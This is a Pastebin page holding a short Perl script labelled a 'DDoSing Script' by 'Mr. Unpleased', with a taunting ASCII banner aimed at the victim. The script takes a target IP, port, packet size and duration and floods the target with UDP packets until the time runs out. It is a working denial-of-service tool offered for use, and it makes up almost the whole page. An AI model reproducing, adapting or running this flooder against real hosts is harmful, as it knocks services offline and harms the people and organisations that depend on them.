Advertisement
talama

Perl Park Dos Script

May 7th, 2017
339
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.60 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##
  4. # Mr. Unpleased DDoSing Script
  5. ##
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18. print <<EOTEXT;
  19.          _          __________                              _,
  20.      _.-(_)._     ."          ".      .--""--.          _.-{__}-._
  21.    .'________'.   | .--------. |    .'        '.      .:-'`____`'-:.
  22.   [____________] /` |________| `\  /   .'``'.   \    /_.-"`_  _`"-._\
  23.   /  / .\/. \  \|  / / .\/. \ \  ||  .'/.\/.\'.  |  /`   / .\/. \   `\
  24.   |  \__/\__/  |\_/  \__/\__/  \_/|  : |_/\_| ;  |  |    \__/\__/    |
  25.   \            /  \            /   \ '.\    /.' / .-\                >/-.
  26.   /'._  --  _.'\  /'._  --  _.'\   /'. `'--'` .'\/   '._-.__--__.-_.'
  27. \/_   `""""`   _\/_   `""""`   _\ /_  `-./\.-'  _\'.    `""""""""`'`\
  28. (__/    '|    \ _)_|           |_)_/            \__)|        '
  29.   |_____'|_____|   \__________/|;                  `_________'________`;-'
  30.   s'----------'    '----------'   '--------------'`--------------------`
  31.    Mr. Unpleased     Mr. Savy     MajesticService.net  Come At Us
  32.  
  33.                         We RuN tHiZ tOWn BiaChEZ
  34.                     We BeAtiNg uP $ip fOr $time sEcoNDs
  35.                          fOr enTeRinG oUR toWN
  36. EOTEXT
  37.  
  38. for (;time() <= $endtime;) {
  39.   $psize = $size ? $size : int(rand(1500000-64)+64) ;
  40.   $pport = $port ? $port : int(rand(1500000))+1;
  41.  
  42.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement